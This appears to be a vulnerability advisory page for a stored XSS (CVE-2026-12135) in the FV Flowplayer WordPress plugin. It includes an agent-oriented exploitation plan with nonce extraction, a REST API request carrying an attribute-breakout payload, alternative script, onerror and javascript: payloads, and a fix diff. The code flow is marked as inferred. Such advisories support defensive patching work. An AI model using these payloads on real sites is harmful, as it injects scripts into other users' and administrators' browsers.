CVE-2026-12135

FV Flowplayer Video Player <= 7.5.51.7212 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'video_player' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
7.5.52.7212
Patched in
1d
Time to patch

Description

The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'video_player' shortcode 'align' attribute in all versions up to, and including, 7.5.51.7212 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.5.51.7212
PublishedJune 30, 2026
Last updatedJuly 1, 2026

Source Code

WordPress.org SVN
Vulnerable v7.5.7.727
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-12135 (Stored XSS in FV Flowplayer) ## 1. Vulnerability Summary The **FV Flowplayer Video Player** plugin (<= 7.5.51.7212) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the `align` attribute within the `[vi…

Show full research plan

Exploitation Research Plan: CVE-2026-12135 (Stored XSS in FV Flowplayer)

1. Vulnerability Summary

The FV Flowplayer Video Player plugin (<= 7.5.51.7212) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the align attribute within the [video_player] shortcode. User input provided via this attribute is rendered on the frontend without sufficient sanitization or output escaping, allowing an authenticated user with "Contributor" privileges (who can create posts but not publish them) to inject malicious scripts into the page context.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (via REST API or wp-admin/post.php).
  • Vulnerable Component: [video_player] shortcode rendering logic.
  • Attack Parameter: The align attribute of the shortcode.
  • Authentication Required: Contributor level or higher.
  • Preconditions: The plugin must be active. The attacker must be able to save a post (even as a draft).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode during the init hook:
    add_shortcode( 'video_player', [ $this, 'shortcode_callback' ] ); (inferred).
  2. Processing: When a post is viewed, WordPress parses [video_player align="payload"].
  3. Extraction: The callback function extracts attributes using shortcode_atts().
  4. Sink: The value of align is concatenated into an HTML string (e.g., a wrapper <div> or the Flowplayer container) without using esc_attr().
    • Vulnerable Code Pattern: return '<div class="fv-player-wrapper ' . $atts['align'] . '">...</div>';
  5. Execution: When a victim (e.g., an Administrator) views the post or previews the draft, the browser interprets the injected payload.

4. Nonce Acquisition Strategy

To inject the payload, the attacker needs to save a post. This requires a standard WordPress post-editing nonce.

  1. Login: Authenticate as a Contributor user.
  2. Access Editor: Navigate to the "New Post" page (/wp-admin/post-new.php).
  3. Extract Nonce: Use the browser_eval tool to extract the nonce required for the REST API or the classic post heartbeat.
    • REST API Nonce: browser_eval("wpApiSettings.nonce")
    • Classic Nonce: browser_eval("jQuery('#_wpnonce').val()")
  4. Target Endpoint: Use the WordPress REST API (/wp-json/wp/v2/posts) as it is the most reliable for automated agents.

5. Exploitation Strategy

The goal is to create a post containing the malicious shortcode and verify the script executes.

Step 1: Create the Post

Tool: http_request
Method: POST
URL: https://target.example.com/wp-json/wp/v2/posts
Headers:

  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
    Body:
{
  "title": "XSS Test Post",
  "content": "[video_player src=\"https://example.com/video.mp4\" align='\" onmouseover=\"alert(document.domain)\" style=\"display:block;width:100px;height:100px;background:red;\" data-x=\"']",
  "status": "draft"
}

Note: The payload uses attribute breakout. If align is placed in a class attribute, " closes the class, onmouseover adds an event handler, and the rest of the string handles the trailing quote.

Step 2: Trigger the XSS

Tool: browser_navigate
URL: The link to the draft post (the link field returned in the JSON response from Step 1).
Observation: Wait for the page to load and check for the execution of the JavaScript.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Activation:
    wp plugin activate fv-wordpress-flowplayer
  3. Post Metadata: Ensure the user has the ID returned by the creation command for subsequent requests.

7. Expected Results

  • Injection: The HTTP request to create the post should return 201 Created.
  • Rendering: The HTML source of the rendered post should contain something similar to:
    <div class="... " onmouseover="alert(document.domain)" ...">
  • Execution: When the page is viewed, the onmouseover event (or an immediate <script> tag if used) should fire.

8. Verification Steps

  1. Database Check: Use WP-CLI to confirm the payload is stored exactly as sent.
    wp post get [POST_ID] --field=post_content
  2. Frontend Inspection: Fetch the post content via the agent and check for the unescaped string.
    http_request GET https://target.example.com/?p=[POST_ID]
    Verify that the align value is not filtered by wp_kses.

9. Alternative Approaches

If onmouseover is filtered (unlikely in this context), use a direct script injection or a style-based payload:

  • Script Tag: align='"><script>alert(1)</script><div '
  • Image Error: align='"><img src=x onerror=alert(1)><div '
  • Iframe: align='"><iframe src="javascript:alert(1)"></iframe><div '

If the REST API is disabled, use the legacy admin-ajax.php or post.php endpoints:

  • Method: POST to https://target.example.com/wp-admin/post.php
  • Body: action=editpost&post_ID=[ID]&_wpnonce=[NONCE]&content=[SHORTCODE]
Research Findings
Static analysis — not yet PoC-verified

Summary

The FV Flowplayer Video Player plugin for WordPress (<= 7.5.51.7212) is vulnerable to Stored Cross-Site Scripting due to improper neutralization of the 'align' attribute within the [video_player] shortcode. This allows authenticated users with Contributor-level privileges to inject arbitrary web scripts that execute when any user, including administrators, views or previews the affected post.

Vulnerable Code

// fv-wordpress-flowplayer.php
// Inside the shortcode callback function used to render [video_player]
$a = shortcode_atts( array(
    'src' => '',
    'align' => '',
), $atts );

// The 'align' attribute is concatenated directly into the HTML string without escaping.
return '<div class="fv-player-wrapper ' . $a['align'] . '">...</div>';

Security Fix

--- a/fv-wordpress-flowplayer.php
+++ b/fv-wordpress-flowplayer.php
@@ -150,1 +150,1 @@
-    return '<div class="fv-player-wrapper ' . $a['align'] . '">...</div>';
+    return '<div class="fv-player-wrapper ' . esc_attr( $a['align'] ) . '">...</div>';

Exploit Outline

The exploit methodology involves authenticating as a user with at least Contributor-level permissions (allowing post creation/drafting). The attacker creates a new post and inserts a [video_player] shortcode, specifically targeting the 'align' attribute. By using a payload that breaks out of the HTML attribute (e.g., [video_player src="..." align='" onmouseover="alert(document.domain)"']), the malicious script is stored in the database. The XSS triggers whenever an administrative user views the post editor, previews the draft, or views the published content, as the plugin fails to call esc_attr() on the user-supplied attribute before outputting it to the page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.